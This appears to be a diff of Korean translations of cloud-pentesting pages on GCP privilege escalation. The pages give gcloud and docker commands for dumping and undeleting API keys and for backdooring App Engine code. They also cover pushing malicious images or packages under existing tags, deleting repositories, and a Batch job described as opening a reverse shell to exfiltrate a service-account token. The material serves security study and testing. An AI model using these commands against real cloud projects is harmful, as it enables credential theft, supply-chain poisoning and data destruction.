API 키에 대한 자세한 정보는 다음을 확인하세요:
|
||||
For more information about API Keys check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
API 키를 생성하는 다른 방법은 다음을 확인하세요:
|
||||
For other ways to create API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
@@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
프로젝트에서 어떤 API가 활성화되어 있는지 또는 발견한 API 키에 적용된 제한 사항을 모를 수 있으므로, [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 도구를 실행하고 **API 키로 접근할 수 있는 내용을 확인하는 것이 흥미로울 것입니다.**
|
||||
프로젝트에서 어떤 API가 활성화되어 있는지 또는 찾은 API 키에 적용된 제약을 모를 수 있으므로, 도구 [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 실행해 **API 키로 무엇에 접근할 수 있는지** 확인하는 것이 좋습니다.
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
이 권한은 **API 키를 생성할 수** 있게 해줍니다:
|
||||
이 권한은 **API 키를 생성**할 수 있도록 허용합니다:
|
||||
|
||||
<details>
|
||||
<summary>gcloud를 사용해 API 키 생성</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
다음은 취약한 환경의 [**생성, 악용 및 정리를 자동화하는 스크립트가 여기 있습니다**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
</details>
|
||||
|
||||
vuln 환경의 생성, exploit 및 정리 자동화를 위한 스크립트는 [**여기**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)에서 확인할 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 기본적으로 사용자는 새 프로젝트를 생성할 수 있는 권한이 있으며 새 프로젝트에 대해 소유자 역할이 부여됩니다. 따라서 사용자는 **프로젝트를 생성하고 이 프로젝트 내에서 API 키를 생성할 수 있습니다**.
|
||||
> 기본적으로 사용자는 새 프로젝트를 생성할 권한이 있으며 새 프로젝트에 대해 Owner role이 부여됩니다. 따라서 사용자는 **프로젝트를 생성하고 이 프로젝트 안에 API key를 만들 수 있습니다**.
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
이 권한은 **모든 apiKeys를 나열하고 가져오며 키를 가져올 수 있게 해줍니다**:
|
||||
이 권한들은 **apiKeys를 나열하고 모두 가져오며 Key를 얻을 수 있게 합니다**:
|
||||
|
||||
<details>
|
||||
<summary>모든 API keys 나열 및 가져오기</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
다음은 취약한 환경의 [**생성, 악용 및 정리를 자동화하는 스크립트**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)를 찾을 수 있는 링크입니다.
|
||||
</details>
|
||||
|
||||
### `apikeys.keys.undelete`, `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
vuln 환경의 생성, exploit 및 정리 자동화를 위한 스크립트는 [**여기**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)에서 확인할 수 있습니다.
|
||||
|
||||
이 권한은 **삭제된 API 키를 나열하고 재생성**할 수 있게 해줍니다. **undelete**가 완료된 후 **출력**에 **API 키**가 제공됩니다:
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
이 권한들은 **삭제된 API 키를 나열하고 재생성할 수 있게 합니다**. **undelete**가 수행된 후 출력에 **API key**가 제공됩니다:
|
||||
|
||||
<details>
|
||||
<summary>API 키 나열 및 undelete</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### 다른 직원들을 피싱하기 위한 내부 OAuth 애플리케이션 생성
|
||||
</details>
|
||||
|
||||
이 작업은 **`clientauthconfig`** 서비스에 속하므로, 이를 수행하는 방법을 배우려면 다음 페이지를 확인하세요 [문서에 따르면](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
### 다른 직원들을 phish하기 위한 Internal OAuth 애플리케이션 생성
|
||||
|
||||
방법은 다음 페이지를 확인하세요. 다만 이 작업은 [문서에 따르면](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin) 서비스 **`clientauthconfig`**에 속합니다:
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Engine
|
||||
|
||||
App Engine에 대한 자세한 정보는 다음을 확인하세요:
|
||||
App Engine에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,26 +12,34 @@ App Engine에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
이것들은 **`gcloud` cli**를 사용하여 앱을 배포하는 데 필요한 권한입니다. 아마도 **`get`** 및 **`list`** 권한은 **제외될 수 있습니다**.
|
||||
이는 **`gcloud` cli를 사용해 App을 배포**하는 데 필요한 권한입니다. 아마 **`get`** 및 **`list`** 권한은 **생략**할 수 있을지도 모릅니다.
|
||||
|
||||
파이썬 코드 예제는 [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)에서 찾을 수 있습니다.
|
||||
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
|
||||
|
||||
기본적으로 앱 서비스의 이름은 **`default`**가 되며, 동일한 이름을 가진 인스턴스는 하나만 존재할 수 있습니다.\
|
||||
두 번째 앱을 만들고 이름을 변경하려면 **`app.yaml`**에서 루트 키의 값을 **`service: my-second-app`**와 같이 변경하세요.
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
두 번째 App을 만들려면, **`app.yaml`**에서 루트 키의 값을 **`service: my-second-app`**처럼 변경하세요.
|
||||
|
||||
<details>
|
||||
<summary>App Engine 애플리케이션 배포</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
최소 10-15분 정도 기다리세요. 작동하지 않으면 **다른 배포를 호출**하고 몇 분 기다리세요.
|
||||
</details>
|
||||
|
||||
적어도 10~15분은 기다리세요. 작동하지 않으면 **deploy another of times**를 호출하고 몇 분 더 기다리세요.
|
||||
|
||||
> [!NOTE]
|
||||
> **사용할 서비스 계정을 지정하는 것이 가능합니다**. 그러나 기본적으로 App Engine 기본 SA가 사용됩니다.
|
||||
> 사용될 **Service Account를 지정하는 것이 가능합니다**. 그러나 기본적으로는 App Engine 기본 SA가 사용됩니다.
|
||||
|
||||
애플리케이션의 URL은 `https://<proj-name>.oa.r.appspot.com/` 또는 `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`과 비슷합니다.
|
||||
애플리케이션의 URL은 다음과 같습니다: `https://<proj-name>.oa.r.appspot.com/` 또는 `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### 동등한 권한 업데이트
|
||||
### 동등한 권한으로 업데이트
|
||||
|
||||
AppEngine을 업데이트할 수 있는 충분한 권한이 있을 수 있지만 새로 만들 권한은 없을 수 있습니다. 그런 경우 현재 App Engine을 업데이트하는 방법은 다음과 같습니다:
|
||||
새로 생성할 권한은 없지만 AppEngine을 업데이트할 권한은 있을 수 있습니다. 그런 경우 현재 App Engine을 다음과 같이 업데이트할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>기존 App Engine 애플리케이션 업데이트</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +70,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
이미 **AppEngine을 침해**한 경우, **`appengine.applications.update`** 권한과 서비스 계정에 대한 **actAs** 권한이 있으면 다음을 사용하여 AppEngine에서 사용되는 서비스 계정을 수정할 수 있습니다:
|
||||
</details>
|
||||
|
||||
AppEngine을 이미 탈취했고 `appengine.applications.update` 권한과 서비스 계정에 대해 **actAs** 권한을 가지고 있다면 AppEngine에서 사용하는 서비스 계정을 다음과 같이 수정할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>App Engine 서비스 계정 업데이트</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
이 권한을 사용하면 **유연한** 유형의 App Engine 인스턴스에 **ssh로 로그인**할 수 있습니다 (표준이 아님). 일부 **`list`** 및 **`get`** 권한은 **실제로 필요하지 않을 수 있습니다**.
|
||||
이 권한들을 통해 **App Engine 인스턴스에 ssh로 로그인**할 수 있으며, 대상 인스턴스는 **flexible** 유형(standard는 아님)입니다. 일부 **`list`** 및 **`get`** 권한은 **실제로 필요하지 않을 수 있습니다**.
|
||||
|
||||
<details>
|
||||
<summary>App Engine 인스턴스에 SSH 접속</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
이것은 구글이 애플리케이션을 설정하는 데 사용할 백그라운드 서비스 계정을 변경하는 것이라고 생각하므로, 이를 악용하여 서비스 계정을 훔칠 수는 없다고 생각합니다.
|
||||
이는 google이 애플리케이션을 설정할 때 사용할 백그라운드 SA를 변경하는 것일 뿐이라고 생각합니다. 그래서 이를 악용해 service account를 탈취할 수는 없을 것 같습니다.
|
||||
|
||||
<details>
|
||||
<summary>애플리케이션 service account 업데이트</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
이 권한을 어떻게 사용해야 할지, 또는 유용한지 잘 모르겠습니다 (코드를 변경하면 새 버전이 생성되므로 코드를 업데이트하거나 하나의 IAM 역할을 업데이트할 수 있는지 모르겠지만, 아마도 버킷 내부의 코드를 변경하면 가능할 것 같습니다??).
|
||||
이 권한들을 어떻게 사용해야 하는지, 또는 유용한지 확실하지 않습니다 (코드를 변경하면 새 버전이 생성되므로 단순히 코드나 해당 버전의 IAM 역할만 업데이트할 수 있는지 모르겠습니다. 하지만 가능할 것 같고, 어쩌면 버킷 내부의 코드를 변경하는 방식일 수도 있습니다??).
|
||||
|
||||
### 버킷에 대한 쓰기 권한
|
||||
### Write Access over the buckets
|
||||
|
||||
언급했듯이 appengine 버전은 `staging.<project-id>.appspot.com` 형식의 버킷 내부에 일부 데이터를 생성합니다. GCP 사용자는 `appspot.com` 도메인 이름을 사용하여 버킷을 생성할 수 있는 권한이 없기 때문에 이 버킷을 사전 점유하는 것은 불가능합니다.
|
||||
앞서 언급했듯이 appengine 버전들은 `staging.<project-id>.appspot.com` 형식의 버킷에 일부 데이터를 생성합니다. 이 버킷을 미리 pre-takeover하는 것은 불가능한데, GCP 사용자들은 `appspot.com` 도메인을 사용하여 버킷을 생성할 권한이 없기 때문입니다.
|
||||
|
||||
그러나 이 버킷에 대한 읽기 및 쓰기 권한이 있으면, 버킷을 모니터링하고 변경이 발생할 때마다 가능한 한 빨리 코드를 수정하여 AppEngine 버전에 연결된 SA의 권한을 상승시킬 수 있습니다. 이렇게 하면 이 코드에서 생성된 컨테이너가 **백도어가 있는 코드를 실행**하게 됩니다.
|
||||
하지만 이 버킷에 대해 읽기 및 쓰기 권한이 있다면, 버킷을 모니터링하면서 변경이 발생할 때마다 가능한 한 빨리 코드를 수정하여 AppEngine 버전에 연결된 SA로 권한 상승이 가능합니다. 이렇게 하면 이 코드에서 생성된 컨테이너가 **execute the backdoored code**.
|
||||
|
||||
자세한 정보와 **PoC는 이 페이지의 관련 정보를 확인하세요**:
|
||||
자세한 정보와 **PoC 관련 내용은 이 페이지에서 확인하세요**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### 아티팩트 레지스트리에 대한 쓰기 권한
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
App Engine이 아티팩트 레지스트리 내에 도커 이미지를 생성하더라도, **이 서비스 내에서 이미지를 수정하고 App Engine 인스턴스를 제거해도 (새 인스턴스가 배포됨) 실행되는 코드는 변경되지 않는다는 것이 테스트되었습니다**.\
|
||||
버킷과 같은 **경쟁 조건 공격을 수행하면 실행되는 코드를 덮어쓸 수 있을 가능성이 있지만**, 이는 테스트되지 않았습니다.
|
||||
App Engine이 Artifact Registry 안에 docker 이미지를 생성하더라도, 테스트 결과 **이 서비스 내부의 이미지를 수정하더라도** App Engine 인스턴스를 제거(새 인스턴스가 배포되는 경우)해도 **실행되는 코드는 변경되지 않는다**는 것이 확인되었습니다.
|
||||
버킷과 마찬가지로 **Race Condition 공격을 수행하면 실행되는 코드를 덮어쓸 수 있을 가능성**이 있지만, 이는 테스트되지 않았습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
Artifact Registry에 대한 자세한 정보는 다음을 확인하세요:
|
||||
Artifact Registry에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
@@ -12,7 +12,10 @@ Artifact Registry에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
이 권한을 통해 공격자는 Docker 이미지와 같은 악성 코드를 포함한 아티팩트의 새 버전을 업로드할 수 있습니다:
|
||||
이 권한이 있으면 공격자는 Docker images와 같은 악성 코드가 포함된 아티팩트의 새 버전을 업로드할 수 있습니다:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에 Docker image 업로드</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **같은 이름과 태그를 가진 새로운 악성 docker** 이미지를 업로드하는 것이 **가능하다는 것이 확인되었으므로, 기존 이미지는 태그를 잃게 되고** 다음에 해당 태그로 이미지를 **다운로드하면 악성 이미지가** 다운로드됩니다.
|
||||
> 이미 존재하는 것과 동일한 이름과 tag를 가진 새로운 악성 docker 이미지를 업로드할 수 있음이 확인되었습니다. 따라서 기존 이미지는 tag를 잃게 되며 다음에 해당 tag로 이미지를 다운로드할 때 악성 이미지가 다운로드됩니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Python 라이브러리 업로드</summary>
|
||||
|
||||
**업로드할 라이브러리를 생성하는 것부터 시작하세요** (레지스트리에서 최신 버전을 다운로드할 수 있다면 이 단계를 건너뛸 수 있습니다):
|
||||
**업로드할 라이브러리를 생성하는 것으로 시작합니다** (레지스트리에서 최신 버전을 다운로드할 수 있다면 이 단계를 건너뛸 수 있습니다):
|
||||
|
||||
1. **프로젝트 구조 설정**:
|
||||
|
||||
- 라이브러리를 위한 새 디렉토리를 생성합니다, 예: `hello_world_library`.
|
||||
- 이 디렉토리 안에 패키지 이름으로 또 다른 디렉토리를 생성합니다, 예: `hello_world`.
|
||||
- 패키지 디렉토리 안에 `__init__.py` 파일을 생성합니다. 이 파일은 비어있거나 패키지 초기화를 포함할 수 있습니다.
|
||||
- 라이브러리를 위한 새 디렉터리를 생성합니다(예: `hello_world_library`).
|
||||
- 이 디렉터리 안에 패키지 이름으로 또 다른 디렉터리를 생성합니다(예: `hello_world`).
|
||||
- 패키지 디렉터리 안에 `__init__.py` 파일을 생성합니다. 이 파일은 비워두거나 패키지 초기화 코드를 포함할 수 있습니다.
|
||||
|
||||
<details>
|
||||
<summary>프로젝트 구조 생성</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -45,21 +53,31 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
2. **라이브러리 코드를 작성합니다**:
|
||||
</details>
|
||||
|
||||
- `hello_world` 디렉토리 안에 모듈을 위한 새로운 Python 파일을 생성합니다, 예: `greet.py`.
|
||||
2. **라이브러리 코드 작성**:
|
||||
|
||||
- `hello_world` 디렉터리 안에 모듈용 새 Python 파일을 생성합니다(예: `greet.py`).
|
||||
- "Hello, World!" 함수를 작성합니다:
|
||||
|
||||
<details>
|
||||
<summary>라이브러리 모듈 생성</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
3. **`setup.py` 파일 생성**:
|
||||
|
||||
- `hello_world_library` 디렉토리의 루트에 `setup.py` 파일을 생성합니다.
|
||||
- 이 파일은 라이브러리에 대한 메타데이터를 포함하고 Python에 설치 방법을 알려줍니다.
|
||||
- `hello_world_library` 디렉터리의 루트에 `setup.py` 파일을 생성합니다.
|
||||
- 이 파일은 라이브러리에 대한 메타데이터를 포함하며 Python에 설치 방법을 알려줍니다.
|
||||
|
||||
<details>
|
||||
<summary>setup.py 파일 생성</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# 라이브러리에 필요한 의존성
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
**이제 라이브러리를 업로드합시다:**
|
||||
</details>
|
||||
|
||||
**이제 라이브러리를 업로드합니다:**
|
||||
|
||||
1. **패키지 빌드**:
|
||||
|
||||
- `hello_world_library` 디렉토리의 루트에서 다음을 실행합니다:
|
||||
- `hello_world_library` 디렉터리의 루트에서 다음을 실행합니다:
|
||||
|
||||
<details>
|
||||
<summary>Python 패키지 빌드</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **twine에 대한 인증 구성** (패키지를 업로드하는 데 사용됨):
|
||||
- `twine`이 설치되어 있는지 확인합니다 (`pip install twine`).
|
||||
- `gcloud`를 사용하여 자격 증명을 구성합니다:
|
||||
````
|
||||
</details>
|
||||
|
||||
2. **twine을 위한 인증 구성** (패키지 업로드에 사용):
|
||||
- `twine`이 설치되어 있는지 확인하세요 (`pip install twine`).
|
||||
- 자격 증명 구성을 위해 `gcloud`를 사용하세요:
|
||||
|
||||
<details>
|
||||
<summary>twine로 패키지 업로드</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
3. **빌드를 정리하다**
|
||||
</details>
|
||||
|
||||
3. **빌드 정리**
|
||||
|
||||
<details>
|
||||
<summary>빌드 아티팩트 정리</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 이미 존재하는 것과 동일한 버전의 python 라이브러리를 업로드하는 것은 불가능하지만, **더 높은 버전**을 업로드하거나 (작동하는 경우 버전 끝에 **`.0` 추가** - 그러나 python에서는 아님), 또는 **마지막 버전을 삭제하고 새로운 버전을 업로드할 수 있습니다** (필요한 `artifactregistry.versions.delete`):**
|
||||
> 이미 존재하는 버전과 동일한 버전의 python 라이브러리를 업로드하는 것은 불가능하지만, **더 높은 버전**을 업로드할 수 있다(또는 버전 끝에 **추가로 `.0`을 붙이는 방법** — 단 python에서는 동작하지 않을 수 있음), 또는 마지막 버전을 **삭제하고 새로운 버전을 업로드**할 수 있다(필요 권한: `artifactregistry.versions.delete`):
|
||||
>
|
||||
> <details>
|
||||
> <summary>아티팩트 버전 삭제</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
이 권한으로 **아티팩트**를 **다운로드**하고 **민감한 정보** 및 **취약점**을 검색할 수 있습니다.
|
||||
이 권한으로 **아티팩트 다운로드**가 가능하며 **민감한 정보**와 **취약점**을 검색할 수 있다.
|
||||
|
||||
**Docker** 이미지를 다운로드:
|
||||
Docker 이미지를 다운로드:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에서 Docker 이미지 다운로드</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
**파이썬** 라이브러리 다운로드:
|
||||
</details>
|
||||
|
||||
Download a **python** library:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에서 Python 라이브러리 다운로드</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
- 원격 레지스트리와 표준 레지스트리가 가상 레지스트리에서 혼합되고 패키지가 두 곳에 모두 존재하는 경우 어떻게 됩니까? 이 페이지를 확인하세요:
|
||||
</details>
|
||||
|
||||
- remote와 standard 레지스트리가 virtual 레지스트리에서 혼합되어 있고 패키지가 둘 다에 존재하면 어떻게 되나요? 이 페이지를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
레지스트리에서 아티팩트를 삭제합니다. 예: 도커 이미지:
|
||||
레지스트리에서 docker 이미지와 같은 아티팩트를 삭제합니다:
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry에서 Docker 이미지 삭제</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
전체 리포지토리를 삭제합니다(내용이 있더라도):
|
||||
전체 repository 삭제(내용이 있어도):
|
||||
|
||||
<details>
|
||||
<summary>Artifact Registry repository 삭제</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
이 권한을 가진 공격자는 이전에 언급된 일부 리포지토리 공격을 수행할 수 있는 권한을 스스로 부여할 수 있습니다.
|
||||
이 권한을 가진 공격자는 이전에 언급한 일부 리포지터리 공격을 수행할 수 있는 권한을 자신에게 부여할 수 있습니다.
|
||||
|
||||
### Artifact Registry 읽기 및 쓰기를 통한 다른 서비스로의 피벗
|
||||
### Artifact Registry Read & Write를 통해 다른 서비스로 피벗
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
Cloud Function이 생성될 때 새로운 도커 이미지가 프로젝트의 Artifact Registry에 푸시됩니다. 나는 새로운 이미지로 이미지를 수정하려고 시도했으며, 현재 이미지를 삭제하고(`cache` 이미지 포함) 아무것도 변경되지 않았습니다. 클라우드 함수는 계속 작동합니다. 따라서, 아마도 **버킷과 같은 Race Condition 공격을 악용하여 실행될 도커 컨테이너를 변경할 수 있을지도 모릅니다**. 그러나 **저장된 이미지를 수정하는 것만으로는 Cloud Function을 손상시킬 수 없습니다**.
|
||||
Cloud Function이 생성될 때 프로젝트의 Artifact Registry로 새로운 docker image가 푸시됩니다. 이미지를 새 것으로 수정해 보거나 현재 이미지(및 `cache` 이미지)를 삭제해도 아무 변화가 없었고, Cloud Function은 계속 동작했습니다. 따라서 버킷과 같이 실행될 docker 컨테이너를 변경하기 위해 **Race Condition 공격을 악용할 수 있을지도 모릅니다**, 하지만 저장된 이미지를 단순히 수정하는 것만으로는 **Cloud Function을 손상시키는 것은 불가능합니다**.
|
||||
|
||||
- **App Engine**
|
||||
|
||||
App Engine이 Artifact Registry 내에서 도커 이미지를 생성하더라도, **이 서비스 내에서 이미지를 수정하고 App Engine 인스턴스를 제거(새 인스턴스가 배포됨)하더라도** **실행되는 코드는 변경되지 않습니다**.\
|
||||
버킷과 같은 **Race Condition 공격을 수행하면 실행되는 코드를 덮어쓸 수 있을지도 모르지만**, 이는 테스트되지 않았습니다.
|
||||
App Engine이 Artifact Registry 안에 docker image를 생성하더라도, 해당 서비스 내의 이미지를 수정하고 App Engine 인스턴스를 제거(새로 배포되도록)해도 테스트 결과 **실행되는 코드는 변경되지 않았습니다**.\
|
||||
버킷에서와 같이 **Race Condition 공격을 수행하면 실행되는 코드를 덮어쓸 수 있을지도 모릅니다**, 그러나 이는 테스트되지 않았습니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# GCP - 배치 권한 상승
|
||||
# GCP - Batch Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 배치
|
||||
## Batch
|
||||
|
||||
기본 정보:
|
||||
|
||||
@@ -12,7 +12,10 @@
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
배치 작업을 생성하고, 리버스 셸을 얻고, SA의 메타데이터 토큰(기본적으로 컴퓨트 SA)을 유출할 수 있습니다.
|
||||
Batch job을 생성해서 reverse shell을 얻고 SA의 metadata token을 exfiltrate할 수 있습니다 (기본적으로 compute SA).
|
||||
|
||||
<details>
|
||||
<summary>reverse shell이 포함된 Batch job 생성</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,23 +10,35 @@ BigQuery에 대한 자세한 정보는 다음을 확인하세요:
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Table
|
||||
### 테이블 읽기
|
||||
|
||||
BigQuery 테이블에 저장된 정보를 읽으면 s**ensitive information**을 찾을 수 있습니다. 정보를 액세스하려면 필요한 권한은 **`bigquery.tables.get`**, **`bigquery.jobs.create`** 및 **`bigquery.tables.getData`**입니다:
|
||||
